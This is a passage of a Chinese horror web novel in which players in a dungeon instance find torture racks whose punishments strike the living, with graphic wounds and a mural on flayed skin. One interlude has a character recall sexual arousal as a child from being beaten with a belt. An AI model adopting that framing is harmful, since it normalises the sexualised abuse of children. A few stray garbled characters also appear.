“都在那边,楚朝也在,楚哥你快过来看,你刚才一铲子砸出来的这个通道,里头还真是别有洞天。” 楚明铮跟着他的指引,没走几步就走到了众人的避难所。 这里应该是那个墓室第二层的外围地带,事实上这种级别规格的墓室不可能只有一层,楚明铮在凿出这个地洞之前就有所预料,所以他才敢毫不犹豫的抄铲子砸棺材。 因为根据那对贵族夫妻起尸之前他们的检查,刚才的整个地宫都找不到一丝缝隙,也就是说突破口在板砖地下的可能性不大。 那就只有棺材板了。 楚明铮四下打量着这方棺材板下的“第二层”天地。 这是一个山洞模样的狭小空间,从棺材板跳下来后,还需要走一段甬道,才能到达。 蔻丹女人和木雕脑袋男人倒是没有再追上来了,楚明铮猜测这个副本里的鬼怪应该是由墓葬数层的划分而进行分布的。 比如第一层墓葬的蔻丹女人和木雕脑袋男人,就只能在第一层墓葬里对玩家进行杀戮。 第二层墓葬,也就是他们眼下身处的这一层,会刷新其他鬼怪对他们进行围剿。 不过还好,副本给他们留有了一定喘息的时间,暂时在小山洞的这个休息区,并没有发现鬼怪的踪迹。 李子树把他们带到小山洞里,四周的黑暗浓郁的有点过头,几乎伸手不见五指。 大徐刚从摔疼的剧痛中稍微缓和下来一点,一瘸一拐的走到楚明铮身侧,跟他一起头对着头,把蜡烛点燃了。 火光在周遭铺散开来。 照亮了山洞内侧的场景。 乔文手里举着块石头,随时准备防备外界的攻击,直到灯光亮起,他看到楚明铮的身影,这才大大松了一口气:“楚大佬!你可算是下来了,我还以为你留上边壮烈了呢!” “去!”周自重在一旁吐槽道:“谁壮烈了他都不可能壮烈的,你太小看你偶像了。” 楚明铮径直走到陈靖面前,蹲身下来,目光复杂的注视着他的眼睛。 陈靖的眼里仍然含着泪水。 他细若蚊呐的抬头叫了声“楚哥”,眼底的悲伤几乎要溢出来。 “你怪我吗?”楚明铮耐心的问。 陈靖恍惚着摇摇头:“……不怪,我知道陈可是拖累,楚哥也想救他的。” 楚明铮沉重了叹了口气,将掌心抚在陈靖肩膀上拍了拍:“抱歉。” 大徐和周自重对视一眼,彼此都从对方眼中看出了惊异。 楚明铮抽风了? 他从前什么时候在乎过副本里其他人的死活? 更何况陈可是个傻子,说实话他死的早对这个副本里其他人都好,如果陈可不死,后续在副本里不知道还会惹出什么麻烦,于情于理,楚明铮都不应该自责才对。 而他现在居然跟陈靖说抱歉? 这无疑颠覆了大徐和周自重的认知。 “妈妈,这到底是个什么地方啊?”楚朝从山洞里侧走出来,好奇的打量着周围:“刚才黑灯瞎火的,我们什么都看不见,误打误撞就跑这儿来了。” 陈靖低头又落了两滴泪,没再说什么了。 楚明铮端着烛台,从地上站起来,绕着这方不大不小的山洞转了一圈,没发现什么特别的,它仿佛就是个山洞。 “起码我们现在知道一个事了。”周自重在旁自信十足的道。 “什么?”楚明铮偏头去问。 “这座古墓位于山里!” 大徐忍不住在他腰窝上捣了一肘子:“这话说的,谁家古墓也不建设在大街上啊。” “难道真的就只有一层墓葬?”李子树猜测:“副本不会还要我们重返第一层吧?” “依据我的经验。”楚明铮举着蜡烛凝重道:“重返第一层,不太可能。” “那两个古代夫妻战斗力都太弱了,如果副本里只有他俩坐镇的话,这副本无论如何也评不上S级的。” “别站着说废话了,还按刚才的方法一样,所有地方都排查一遍,看看哪块石头是空心的,不就好了?”大徐缓过了方才剧烈的摔伤,将火枪一扛,说干就干。 众人也从地上纷纷站起来,各自寻找方向去排查石头缝。 一番找寻,都没有新发现。 正在楚明铮一筹莫展的时候,楚朝在旁边出声了:“妈妈,我好像觉得这个方向的空气,有点冷。” 冷? 一般在副本里,突如其来的冷意就是靠近阴气的体现,楚明铮立刻起身,朝着他的方向过去,跟儿子一起蹲下查看那个石头缝。 果然,楚朝所指的地方有异样,楚明铮一经靠近,就也感受到了丝缕冷意。 他小心翼翼的将手伸进了楚朝示意的石头缝里,指尖用力一扣,只听“咔咔”两声,果然缝中松动,隐隐有石门打开的意思。 “在这儿!”楚明铮迅速回头,命令其余人道:“都过来帮忙!” 于是大徐和周自重拉拽一边,陈靖乔文李子树拉拽石门缝隙的另一边,楚明铮在门缝中央将掌心整个塞进去,逼迫门缝开的更大。 片刻之后,一道仅容一人通过的小门徐徐展开。 门缝中又是一方漆黑的新空间,静静的跟众人对视着。 楚明铮端起蜡烛,从地上站了起来:“走吧,进去看看。” 一行人鱼贯从门中穿过,门里迎面而来一股憋闷的腥气,引得队伍中几人都忍不住低声咳嗽起来。 这是一种与第一层完全不同的味道。 如果说第一层墓葬里充斥着青铜棺材与黄铜大门冰冷的铁器锐气,那第二层墓葬则截然不同,第二层的空气很腥,也很呛,活人的肺腔初次接触这种味道,显然还需要一定时间适应。 楚明铮手中的蜡烛一路摇摇晃晃,随着他步伐的移动,也逐渐将第二层墓室的模样展露在众人眼中。 楚朝倒抽一口凉气,震惊道:“妈妈,这地方怎么这么多骨头架子!” “他们全都是死人吗?” 楚朝话音刚落,李子树就不小心撞到了身侧的一个硬物,那东西随即发出“嘎吱”一响,李子树下意识朝身侧看去,等他看清楚自己刚才撞到的究竟是什么东西的时候,忍不住惊恐的叫喊了一声:“我去!这么多死人!” 楚明铮在最前方站定脚步,拿着蜡烛环顾四周。 李子树和楚朝说的没错,第二层墓葬确实比第一层要诡异的多。 只见这里密密麻麻排列了无数刑架,仿佛一个大型的刑罚模拟展示厅,从断头台,到绞刑架,到老虎凳,还有看上去长得很像用来凌迟的刀具一起排列组合,统一挂在墙上。 更瘆人的是,每个刑台之上,都摆放着一具或两具早已腐朽的枯骨。 枯骨的主人已经作古多年,但是骨架子却还摇摇欲坠的挂在各种恐怖的刑架上,肢体挣扎,光从动作语言,都能读出他们临死前的惨状。 “妈妈妈妈……”楚朝担惊受怕的往楚明铮身边蹭:“这到底是什么地方,我突然觉得第一层墓葬也没有很可怕了,我能上去吗?” “不能。”楚明铮残忍道:“开弓没有回头箭,再说你怕什么,你自己也是鬼,他们再恐怖,也没法把你再变一次鬼,是不是?” 那边陈靖突然惨叫起来,众人纷纷回过头去。 只见他眼睛翻白,四肢瘫软着躺在了地上,嘴角哆哆嗦嗦的流出口水,仿佛中邪了。 乔文和李子树虽然因为他那个傻弟弟的事情,原先对他心有芥蒂,但是眼下陈可已经死了,两个新人到底心软,难以看着队友在自己眼前出事而不管,于是同时伸出手去扶他。 然而他们伸出手去,却难以触碰到陈靖分毫,指尖跟陈靖的躯体之间始终隔着层看不见的空气墙。 只能眼睁睁看着陈靖躺在地上,一声接着一声的惨叫。 “陈靖!陈靖能听到我说话吗?”大徐围过去,一迭声的开口,喊了两声发现无果,于是也上前试图拉拽,当然他也被那堵空气墙挡住了去路。 “楚明铮,你过来看看啊,这怎么回事?” 楚明铮转身的间隙,陈靖忽然躺在地上,一边痛苦的嚎叫,一边撕心裂肺的抓挠自己的衣服和袖子。 那年轻人用力极大,不多时就将整个上身统统从身上扯着撕拽下来了,露出白生生的上半身和削瘦的手臂。 楚明铮走到近前,不由得愣了一下。 陈靖的异状显然已经出乎了他的预料。 他躺在地上,胸膛和手臂外侧,开始以一个极快的速度,出现半掌长的血痕和撕裂性创伤,血口混杂着淤青,逐渐从身上蔓延开来,甚至越来越密集,血水黏糊糊的染了一整个胸膛。 陈靖嘶叫着去抓挠自己的皮肉,却把伤口越扯越深,地上灰尘又多,四下又脏,眼看着奔着破伤风去了。 “这什么情况!”周自重惊疑道:“我刚才看着他走路的,绝对没有触碰什么禁忌。” 楚明铮看着陈靖身上的伤口,大概有三秒钟完全凝神思索没说话。 直到乔文心急如焚的再次开口催他想办法,楚明铮才靠近了一点陈靖,凝重道:“你们看他身上的伤口,像是被什么武器所致?” 大徐一愣,心说这是个什么问题? 伤口就伤口啊,而且是在副本里被鬼怪弄出来的伤口,还有武器这一说? 一众人面面相觑,没搞懂楚明铮此话何意。 楚明铮又思考了两秒,自己把自己回答了。 “鞭子。”楚明铮简短道。 “什么?!” “找这个地下墓葬里,有关鞭刑的刑具模型。”楚明铮火速起身,沿着走道一个一个检查过去:“兵分几路,快去!” 众人不敢怠慢,立刻按照他说的做。 “炭火烧身,竹板夹手指,凌迟,老虎凳……楚哥这里!这儿有把鞭子,鞭子旁边还有一个刑架,刑架上绑着个骨头架子!” 楚明铮闪电般掉头,迅速狂奔到鞭刑台面前:“大徐,刀!” 大徐从腰间把匕首一解,凌空将刀抛给他。 楚明铮手起刀落,迅速将鞭刑台上那个被捆绑的人骨架子一砍,刀锋雪亮,瞬间斩断了捆缚在枯骨手脚上的麻绳,失去麻绳的支撑,原本尚有人形的骨架瞬间坠地,稀里哗啦在地上铺开,不少骨块都摔得四分五裂,看不出形状。 与此同时,陈靖那边的惨叫声,却也跟着止息下来,声音逐渐微弱,可以听出他虽然身上还是疼着的,但是已经没有增添新的鞭伤了。 楚明铮将刀收好,重新还给大徐,整个人仿佛松了口气那样,朝陈靖的方向走回去。 陈靖躺在一滩血泊里,被李子树和乔文一左一右扶着,身上疼的冷汗直流,过了好一会儿,才攒足力气,向楚明铮表达感谢。 “谢,谢谢楚哥……”陈靖断断续续的苦笑道:“我还以为这次连你也没办法了。” 楚明铮面容冷峻,抬头将这些诡异的刑架环视了一圈,开口时又恢复了那种宽慰的语气:“没事,我也是猜的。” “我觉得这个墓层里的异样,应该会跟这些刑架有关,具体的刑罚对应到人的身上,就会化作实体,在活人身上展现出来。”楚明铮解释。 “你受的伤以细条状为多,而且分布密集,血口浅但是形状凌厉,这是典型的鞭伤,对应的是这里的鞭刑。” “我把受鞭刑的那个鬼从刑架上解开放下来,它也就不会被虚空的鞭子殴打,对应到你身上的鞭刑伤害,也就随之没有了。” 陈靖听的热泪盈眶,挣扎着就要起身给楚明铮磕头。 大徐和周自重连忙阻拦:“不用啊不用,小兄弟,姓楚的不值得,他前半辈子作孽太多,如今年过三十了,岁数也大了,在副本里救救人,也是给自己积福报,该他的。” “就是,不用给他磕头,该他的。” 楚明铮给了他俩一人一脚。 “行了,别贫了好吗。”楚明铮没好气道:“总之我把这层墓葬的危险因素总结出来了。” “你们尽量不要碰那些骨架,如果出事的话,请在惨叫的空隙里告诉我一声,你在受什么刑罚,我好去救你。” “听清楚了吗?”楚明铮耐着性子问。 “哎呦,你交代一下这三个新人得了,交代我跟大徐两个老手可真是太看低我俩了……”周自重的话音说着说着就没声了。 楚明铮疑惑的朝他看去。 却见周自重一脸惊恐的“啊啊”叫唤起来,一边叫唤,一边给楚明铮拼命指自己的喉咙。 弄的楚明铮不知所措:“你怎么了?” 周自重喉咙里“呜呜呜呜啊啊啊啊”的更厉害了。 楚明铮跟他大眼瞪小眼,直到周自重快呜咽断气了,他才反应过来:“……你说不出话来了?” 周自重疯狂点头。 他这时候的面容已经几近扭曲,看起来很痛苦了,又被楚明铮的慢反应气了个半死,险些没眼睛一黑,倒过去。 “说不出来话了?”大徐惊慌道:“楚哥,这也是副本对应刑罚吗?” “这是个什么刑罚?” “我怎么知道!”楚明铮简直无可奈何:“你上一秒还在打嘴炮,下一秒就讲不出来话了!” 周自重抓着他嚎叫的声音更大更惨烈了。 周围的队友们像没头苍蝇一样到处乱转,试图从周自重的肢体语言中找出线索。 “老周这个反应,他是不是被下毒了!中毒的人嘴巴是麻木的,很有可能说不出来话!” “胡扯,他中毒了怎么可能有力气扒拉楚哥,那不得顺着墙壁就昏倒过去吗?” “那是什么啊啊啊,周叔叔你给我个反应啊!你表达表达,啊?”楚朝站在旁边一边跳脚,一边试图谆谆善诱。 楚明铮哂笑一声,将楚朝推开道:“你指望他给你用肢体表达一下……你知道他小时候因为肢体过度不协调,在全市小学生广播体操大赛荣获全班倒数第一的往事吗?” 周自重悲愤欲绝,呜哇呜哇含混着就扑上来扇他。 楚明铮朝旁边一扭身体,火速躲开了。 “行了,正经点,让我想想你能跟哪个刑罚对应上。”楚明铮思忖道。 “说不出来话,又不致命,但是还疼到抓着我打滚……” “拔舌。”大徐忽然道。 “他这是被人把舌头拔了,我刚才进来的时候好像看到这个刑罚了!你等等啊老周,我现在就去找!” 大徐跟楚明铮同时分散开来,沿着两道刑罚的路径迅速挨个检查,乔文和李子树紧随其后过来帮忙。 “这里!”李子树指着身侧一个刑台惊喜道。 只见那是一方并不怎么起眼的案板,案板上不偏不倚立着把刀,刀尖向下,深深扎进案板里,刀柄上缠着蜘蛛网和灰尘颗粒。 刀锋下躺着一条软趴趴的肉条,通体呈灰色,乍一看不明显,仔细看去,那正是条被风化过,蒸发了水汽,变得干瘪而惨淡的舌头。 李子树伸手上前,学着楚明铮方才的样子,拎起那条舌头,冷不防往地上一甩! 对面周自重瞬间发出肝胆俱裂的惨叫声。 仿佛舌头真的被人割掉了一样—— 作者有话说:久等,我错了朋友们[爆哭]发给红包补偿一下[爆哭] 第79章 血池棺林(八) 人皮壁画 楚明铮:“?!” 大徐:“!!!” 两人一左一右同时朝相反方向狂奔而去,大徐赶到周自重面前,火速将他扶起来,查看他的情况。 楚明铮三步并作两步蹿去李子树身侧,着急忙慌的研究那个割舌头的刑架。 李子树已经完全吓得一动不敢动了,自知惹了祸,在旁边像个鹌鹑似的缩着:“楚,楚哥……” 楚明铮一手强而有力的按住他,短促的吩咐一声:“安静。” 随即目不转睛的盯着割舌头的刑架看,大脑飞快思索问题出在了哪里。 十秒钟之后,楚明铮脑海灵光一闪,俯身拿起地上的那条黑色的舌头,回身塞进了刑台旁边,那个被割了舌头,正张大嘴做哀嚎状骷髅的嘴里。 他整个动作行云如流水,没有半点犹豫。 在楚明铮将舌头塞进骷髅嘴里的一刹那,周自重那厢的惨叫倏然收声,骷髅的舌头归位了,周自重的舌头也跟着一并归位。 楚明铮闻声就知道危机解除,倏然大松了一口气,在刑架原地蹲身下来,一时忽然觉得腿软。 “天啊,老周,你吼的我心脏疼。”楚明铮痛苦道。 周自重在那边呜咽半晌,抓着大徐的手臂痛苦的蹬踢着小腿,好不容易才把舌头上的剧痛压下去一点,完全没力气搭理楚明铮。 “楚哥,楚哥对不起,我不是故意的……”李子树欲哭无泪道。 楚明铮费劲的挥了一下手:“没事,不怪你,没经验的新人都这样。” 几米远外的周自重好不容易舌头归位,还没来得及把剧痛的舌根捋直,张口便含混哭骂:“你给他道什么歉啊,不应该给我道歉吗呜呜呜呜,疼死我了呜呜呜……” 楚明铮嘲笑的瞥他一眼:“得了吧,让你再贫,这现世报转眼就来。” “咳咳……小李,扶我一把,我有点站不起来了……哎呦喂。”楚明铮扶着腰痛苦道。 李子树颤巍巍的扶着楚明铮走回大部队。 一行人都被折腾的够呛,在原地各自坐着歇了一会儿。 周自重一边给自己舌头做伸展运动,一边口齿不清的道:“这地儿太邪了,咱真的能在这里发现线索吗?不会还没等找见线索,咱先一个一个折了吧?” “你能不能少说点丧气话!”楚明铮在他脊梁骨上给了一棒槌。 “嗷!你轻点!” “要不,咱先把这些枯骨全都从刑架上放下来?”大徐提议:“反正每次中招的解决方法都是解决这个枯骨主人死后的苦难,不如咱一气儿给他全放下来,那不就没办法让咱中招了吗?” 楚明铮断然拒绝:“不成。” “万一之后的线索,还要通过这些枯骨的死状来推理呢?你现在给他全从架子上卸下来,咱拿什么推理去?” 大徐垂丧道:“说的也是。” 陈靖坐在角落里,看了看大徐,又看了看楚明铮,突然举手道:“楚先生,我来打先锋找线索,我不怕死,楚先生救了我这么多次,我得还您的恩情。” 楚明铮哑然失笑,伸手将他举起来到底手臂又推回去了:“得了吧,我要你还命干什么,不拖后腿就行了。” 周自重端详着楚明铮跟陈靖说话的神态,忽然感慨一声道:“楚哥,你刚才好温柔。” 楚明铮:“?” “充满了人道主义的关怀精神。”周自重继续感慨。 “你对齐栩当年也这么温柔过吗?” 楚明铮莫名其妙:“你好端端的提他干什么?” “你说嘛,你是不是对齐栩也用这个语气说话,那他爱上你我觉得无可厚非。”周自重一脸八卦。 楚明铮:“……” “我刚才就不该把那个舌头帮你塞回去。”楚明铮低声道:“你以后就给我张着嘴,只能说‘呜哇’吧。” 与此同时,屏幕内外。 “我作为当事人郑重承诺,他从来没有在副本里跟我用温柔的语气说过话。”齐栩面无表情的道。 主神在上空笑得直打跌:“……哈哈哈哈,真的吗,可是他在这个副本里显得超温和,超有人情味哎!” “他就这么一次。”齐栩斩钉截铁道。 主神笑的没完没了:“说实话,我对楚明铮的大名早有耳闻,但这还是我第一次远距离观摩他过副本的状态。” “嗯,不得不说,是挺有魅力的一个男人,我勉强能理解你了。” 齐栩无奈扶额。 “您也算是几千岁的人了,能稳重点么?” “不能。”主神心情很好的回答。 …… “行吧,休息差不多了,咱们起来四处转转,找找线索吧,一直这么坐着也不是个事。”大徐劝大家。 楚明铮率先起身:“走。” 他一动,整个队伍陆陆续续也就开始动了,等众人都起站起身,楚明铮又吩咐道:“还是老样子,两人一列,挨个刑台往过看,出事了及时喊,没事的话就从各个刑台和枯骨上抠线索,哪里都不要放过。” 周自重捂着余痛犹在的嘴巴,应了声好。 楚明铮,大徐,周自重三个老手,正好各自带一个新手年轻人,两人一组分配完成,就开始巡视。 乔文兴致勃勃的跟在楚明铮身后,楚明铮看一个刑台,他就在旁边煞有介事的跟着看一个刑台。 时不时蹙一下眉头,观察的有模有样的。 楚明铮看着他这副认真的神情,顿觉好笑:“有发现吗?” “没有。”乔文认真的说:“但是我在努力寻找。” “好,你慢慢找。”楚明铮忍着笑道。 “楚哥,你笑什么?”乔文觉得受到了嘲笑,十分委屈的道。 “没事。”楚明铮移开眼睛:“我就是突然想起了另一个跟你差不多大的小朋友。” “他当年跟你一样笨拙可爱,但是我那时候年轻,对他没多少耐心。”楚明铮嘴边笑意微敛,平和而隐约带着伤感:“现在想起来,还有点后悔。” 乔文理解的点了点头,安慰道:“我觉得他不会记恨楚哥的,楚哥你有时候虽然脾气不好,但是你靠谱啊!” “跟在你身边多有安全感,永远不怕死,我要是能从小时候就跟在你身边进副本,挨你多少骂我都愿意!”乔文信誓旦旦的道。 楚明铮一脸茫然:“这年头喜欢M文化的年轻人如此之多吗?” “你别管M不M,楚哥,你现在有没有感觉心情好一点?”乔文热切的问。 楚明铮深吸一口气:“……我没事,但是你跟齐长官应该挺有话题的。” 他后半句话讲的很轻,乔文没太听见,不过他明显看见楚明铮嘴角一松,看样子心情好了不少,于是继续乐得自在的跟在楚明铮身后转悠。 …… 齐栩的脸色红一阵白一阵,活像个精彩的大染缸。 很难形容他听到楚明铮这番话的心情。 他一方面觉得楚明铮终于对年少时期苛待他的事情有所后悔,一方面又觉得你后悔归后悔,但是你能不能对着我后悔啊!你把对我的愧疚转嫁到几个陌生新人的身上,对他们温和至此的行为算怎么回事啊! 敢情到最后就只有他齐栩吃亏? 小时候的凶也挨了,长大以后的补偿也没得到一点,好不容易跟楚明铮有了个儿子,现在还跟着他妈妈走了。 齐栩一时不知道该找谁说理去。 哦,更雪上加霜的是,他头顶现在还有个智商不详的古代上司,正裹挟一袭浪奔浪流的潇洒气流,呼啸到他面前,十分认真的问他:“齐栩,什么是M倾向?” “楚明铮为什么说你是M倾向?” 齐栩眨巴着眼睛,喉结滚动了片刻,这个问题对他来说显然十分的难以回答。 “M倾向就是……我喜欢他打我,喜欢听他骂我。”齐栩尽量把这个名词解释的不那么变态。 “我小时候,他第一次解开皮带抽我的时候,我特别兴奋,不知道什么原因,反正他皮带抽到我身上的那一瞬间,我感觉我又羞涩,又激动,又……火热。” 齐栩下意识伸出手比划着解释道:“就是一种,很奇怪的欲望。” 主神:“……?” 活了几千年,也是第一次听说这种欲望。 “等一下。”主神认真的跟他探讨:“他打你,你不疼吗?” “疼。”齐栩诚实道。 “但是疼完了就是兴奋。”齐栩继续诚实道:“然后我就想让他继续,别停下。” 如果主神先生存在实体的话,他这时候应该会震惊的抽动眼角。 “啊?”主神茫然道:“那疼语阎乄,疼完了呢?疼完了你持续兴奋?” 齐栩很考据的思索了一下,回答:“小时候被打的太兴奋,他打完我,我就去厕所解决。” “长大以后……我就会直接按住他,向他表达我的兴奋了。” 齐栩说的很委婉。 主神听懂了,然后难得沉默了十几分钟。 “……疯子。”主神点评道。 愈w宴“您要尊重个人爱好。”齐栩委屈且小声的反驳道。 …… 楚明铮对屏幕外那对上下级关于M文化的探讨一无所知。 他正十分专心的研究一张人皮。 “老周,你过来。”楚明铮出声道。 周自重在刑台的另一列,嘴里应答道:“来了来了,您终于有用的上我的地方了?” “有。”楚明铮指着人皮对他道:“你帮我看看,这张人皮上的花纹,是不是一幅连环画?” 周自重眉心一跳,心说我就知道你找我准没好事,一来就这么重口的任务。 这是一张从头盖骨开始被剥下的人皮,整张挂在一旁的铁架子上,十分完整,肤质细腻,泛着黑黄黑黄的色泽。 这张人皮的主人就躺在铁架子的旁边,早已化作了骷髅骸骨。 看起来跟一屋子的其他骸骨并没有太大区别。 但是一个人是被完整扒了皮死的,他死的时候,应该是整个屋子里最惨烈的存在。 如今血肉消融,只剩下干枯的骸骨,也就看不出分别了。 周自重眯着眼睛,拿出当年跟着导师做历史考古研究时的认真范儿,一颗一粒的端详着人皮的每一寸。 人皮上隐约点染着墨汁,已经风化多年了,如果换了旁人,这墨汁里所蕴藏着的玄机估计很难找到,但是楚明铮眼尖的如同精密仪器,一眼就发现了端倪。 “你能看出来吗?”楚明铮站在一旁问周自重:“我觉得这些墨水点染的部分,很像串联起来的画面,但是我看不懂。” “博士,给解答一下呗。” 周自重听见“博士”这个称呼就翻了个白眼,挺直腰身傲慢道:“这时候想起来我是个博士了?你态度再虚心求教一点,我考虑考虑给你讲……” “少废话,快说!”楚明铮一脚踹在他屁股上:“不然我刑讯逼供。” 周自重怒道:“你除了会对我这个书生用强,你还会什么!” 楚明铮作势要打,周自重这才缩了脖颈,嘤嘤的开始用手指隔空一点人皮上的画面,从左向右开始讲解。 “哎呀,它其实就是很常见的古墓壁画上会画的内容了,只不过这个副本比较诡异,把人家壁画上的内容给你画到人皮上了而已~” “你看,从左到右,依次讲述了这个古墓的朝代背景,以及墓主人身份,他生前发生的事情……”周自重一边说,一边继续专注的看画,看着看着神情就一凛。 “哦哟,这故事不得了啊。” “什么故事?”其余人等听见了他俩的发现,都纷纷围过来细听。 周自重将整张人皮上的内容仔细的看了又看,全部在脑海里过了一遍,才斟酌似的对众人开口道:“人皮画上面说,这个墓葬的墓主人,生前是个王爷。” “这里一共两具棺材,分别埋葬着王爷,还有他的王妃,也就是我们刚才在第一层墓室里看到的,木雕脑袋男人,还有涂着蔻丹指甲的女人。” 楚明铮和大徐点头,示意他继续说。 “王爷生前是当朝皇帝最宠爱的弟弟,坐拥荣华富贵,万贯家财,出门前呼后拥,好不排场。”周自重的手指依次指过人皮画的面积。 “同皇帝也是一起长大,兄友弟恭,一直十分和谐。” “然后转折点发生在这里。”周自重的指尖点了点人皮画靠近左侧的一个部位,眼神凝重起来。 “这里说,他有一天,毫无预兆的……被皇帝处死了。” 周遭一片鸦雀无声,楚明铮的疑问呼之欲出。 周自重却一抬手,示意道:“别急,还没讲完,详情在人皮的背后这页。” 第80章 血池棺林(九) 残缺的骸骨 周自重将人皮翻到背面去,楚明铮这才注意到人皮的背后还有新的涂鸦。 这些涂鸦远看只是些皮面上的点缀,凑近了看才能发现上面绘制的一个个代指王爷和王妃,以及那个时代其他角色的简笔画小人。 “这都什么跟什么?”大徐在一旁看的分外头疼:“老周,我说实话,这真的是图片吗,我怎么看着感觉跟群小蚂蚁在人皮上爬差不多。” “当然是图片了,给你说就是勾勒简单一点的壁画,一般都画在墓室墙壁上,但是这个墓葬比较诡异,给你画在人皮上了而已,来继续。”周自重指点着说道。 “王爷被皇帝处死的原因也很简单,就是他后面发现这个王爷啊,要谋反,这可是谋反!”周自重像说评书似的一拍手:“那就是再亲的哥俩,也不能饶恕了,是不是?” “所以皇帝就把王爷处死了。”周自重总结性发言道。 楚明铮觉得他讲故事的水平简直抽象的一言难尽。 “不是,等等?”楚明铮的脸上难得露出点困惑的神色:“就这么完了?” “完了。”周自重摊手。 “上边没说,既然王爷都谋反了,为什么皇帝还给他厚葬?” “哎呀,那谋反归谋反,手足亲情还是存在的嘛,我不能让你活着跟我抢王位,那你死了我作为哥哥给你风光大葬一下,里子面子都给足,祭奠我们因为权利斗争而逝去的手足亲情,这不是很正常?” 楚明铮又问:“那第二层这些被吊死的尸体呢?有个解释吗?” “哦,好像在最边角的地方提了一嘴,我没细看,我现在看看啊。”周自重转回身,继续绕着人皮画观察。 楚明铮想给他两棒槌。 “说了。”周自重起身兴高采烈道:“第二层其实就是当年王爷谋反初现端倪的时候,那些给皇帝上谏言的朝臣们。” “最开始王爷在朝中结党簇拥,私底下勾结叛党,这是不少朝臣都看在眼里的,于是纷纷上谏给皇帝进言,但是皇帝不肯相信弟弟谋反,反而把那些乱说话的朝臣统统下狱用刑,逼问他们是谁在背后驱使挑唆,离间兄弟二人的感情。” “有些朝臣在狱中屈打成招,也有人扛不住刑罚,惨死狱中,总之一片惨然,一时间人心惶惶,人人自危,谁都不敢多说半句话。” “后来,王爷真的谋反了,被镇压后皇帝方知那些被下狱的老臣是冤枉的,奈何祸已酿成,木已成舟,皇帝一不做二不休,直接将当年狱中老臣的还没来得及让家属收走的尸骨一并由皇室收敛,埋进了王爷的坟里。” “大意就是,你们自己的恩怨,埋在一起,自己在下边解决吧,等朕下去的时候,就不要来烦朕了。” 李子树被这古代皇帝的操作惊的一愣一愣的,心说还能这么操作?! 周自重从他眼中看出了惊恐和不解,于是理解的拍了拍他的肩膀:“皇帝嘛,多多少少脑子都有点病,当然这个皇帝在我看来病的格外重而已。” 楚明铮忍不住又问:“也就是说,我们在第二层看到的这些尸骨,以及刑罚台,都是当年惨死朝臣们在狱中的遭遇?” 周自重含蓄的点点头:“你可以这么理解。” “这皇帝疯了吗?”楚朝认真问。 “谁说不是呢。”周自重合掌而笑:“反正故事就是这么个故事,至于接下来怎么应对,就看我们楚哥的了。” “我总结一下,这个副本就是要我们破了王爷王妃,还有这些老朝臣们的怨气,然后只要破解了怨气,就能顺利从副本离开,对吧?”乔文试探着开口。 大徐和周自重他们都没搭腔,周围一片寂静。 乔文挠了挠头,不觉有些尴尬:“我……是不是说错话了?” 楚明铮叹了口气,拍了拍他的肩膀:“没事,你没有S级副本的经验,不了解也是正常的。” “如果这个副本只需要破解王爷王妃还有朝臣们的怨气就能顺利出去的话,它就不会被评定为S级了,肯定没那么简单,只是我们现在暂时还不清楚,具体的难点在哪儿。” 楚明铮忽然想到了什么,转头问周自重:“老周,你们那儿对血池棺林副本的过往情况应该是有记录的吧,这个副本原先的通关情况怎么样?通关率多少,死亡率如何?” 周自重的脸上浮现出一丝茫然。 “……嘶,我之前居然真的没刻意记过这个副本的信息。”周自重犹疑道:“不应该啊,所有经过我手的副本,我都会有印象才对。” “这个副本……怎么好像给我自动把记忆抹了似的。”周自重愣愣的看着楚明铮。 楚明铮少见的没有开口调侃他,面容更加凝重了。 看来他猜的没错,血池棺林是齐栩成为执政官之前的重大转折点,一般情况下执政官上任前的部分信息都会被抹去,那他经历中重要节点的部分,受不可抗力因素的影响,被神力从旁人的记忆中抹去,也是再正常不过的现象。 这也就更进一步的说明,齐栩蜕变成功的秘密,一定藏在血池棺林里。 楚明铮双手负在身后,心不在焉的来回打转。 “第二层一定还有我们没能找到的线索。”楚明铮加重语气道:“人皮画只是线索之一,还有别的,我们再找找。” 李子树等人都面露难色。 楚明铮看了看他们,无奈道:“你们要是累,可以跟着大徐和老周先呆在这儿休息一会儿,楚朝,你跟我过来。” “好嘞妈妈!”楚朝答应的十分痛快。 楚明铮带着儿子走回了刑台的第一列,两人沿着第一列的受刑者们开始重新排查。 “妈妈,其实我刚才就想说了,那个人皮画上的剧情保真吗,不会是故意画上去误导我们的吧。”楚朝跟在他身后,喋喋不休的道。 “我觉得一个脑子正常的帝王,都干不出来把骂弟弟的朝臣杀了,完了又把弟弟杀了,最后再把朝臣们和弟弟夫妻俩人合葬到一起?这脑回路太诡异了,处处透着不合理,国家还没完蛋吗?” “而且从逻辑上也说不通啊,你想啊,他这么干,对自己对皇室对稳固朝廷有百害而无一利,何苦干这吃力不讨好的事情?” 楚明铮回过身,将儿子的嘴轻轻一挡,朝他一眨眼睛:“安静。” 楚朝不明所以。 “妈妈,我觉得我没分析错。”楚朝振振有词道:“人皮壁画的叙述不能全信,因为它就是很不合理。” “是,你没分析错。”楚明铮收回手,笑道:“但是你得摆证据,你刚才那些全都是猜想,用事实说话,才能说服我。” 楚朝双手叉腰,忿忿的跟楚明铮对视两秒,果断道:“妈妈,你等着。” “我这就把线索给你摆出来。” 楚明铮抱臂而立,懒散道:“你打算怎么摆?” “咱们就用你在天家村那次的方法。”楚朝一脸记仇,掷地有声:“就是你让别人掐我,通过我的哭声给村民定住身形,你来找线索那招。” “我们来给这些枯骨,验尸!” 楚明铮抬手就敲他脑袋瓜:“你就是单纯想跟我翻旧账而已!” 片刻之后,楚明铮和楚朝一起蹲在了第二列的一口大缸面前,那口缸大概半人高左右,缸里装了一副残缺的骸骨。 为什么说它是残缺的骸骨? 因为这具骸骨只有躯干和骷髅头,四肢手脚全都不翼而飞。 外形看起来分外诡异,而且平平整整的立在缸内,很适合用作观察。 “这是什么?”楚朝犹豫道。 “人彘刑罚的残留骸骨。”楚明铮心平气和道。 “你不是要验尸吗,诺,就从这具上看,然后告诉我你的发现。”—— 作者有话说:更新还有后半段[爆哭]白天有事没写完,我待会儿用新章补齐[爆哭]《 》 80-85 第81章 血池棺林(十) 仙鹤图 楚朝颇为不服气的看着他,末了趾高气昂的瞪了他亲娘一眼,随即专注的低下头去,真的一板一眼的研究起来。 鬼少年目光冷峻,徐徐掠过缸中矗立的白色骸骨,整个思考时间长达一分多钟。 “妈妈,我能用手碰一下它吗?”楚朝慎重的问。 楚明铮转了转眼睛:“可以,但是你得想清楚,这个刑罚是人彘,你要是被投射进去了,我不一定救的了你。” 